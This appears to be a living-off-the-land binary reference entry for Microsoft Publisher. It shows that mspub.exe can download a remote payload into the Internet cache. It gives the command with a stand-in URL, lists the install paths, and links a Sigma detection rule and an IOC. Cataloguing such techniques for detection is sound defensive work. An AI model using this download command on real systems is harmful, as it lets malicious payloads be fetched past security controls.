Microsoft Publisher
mspub.exe https://example.com/payload
Downloads payload from remote server
It will download a remote payload and place it in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)
C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe, C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe, C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe, C:\Program Files\Microsoft Office\Office16\MSPUB.exe, C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe, C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe, C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe, C:\Program Files\Microsoft Office\Office15\MSPUB.exe, C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe, C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe, C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe, C:\Program Files\Microsoft Office\Office14\MSPUB.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml, IOC: Suspicious Office application internet/network traffic
Nir Chako (Pentera) (@C_h4ck_0)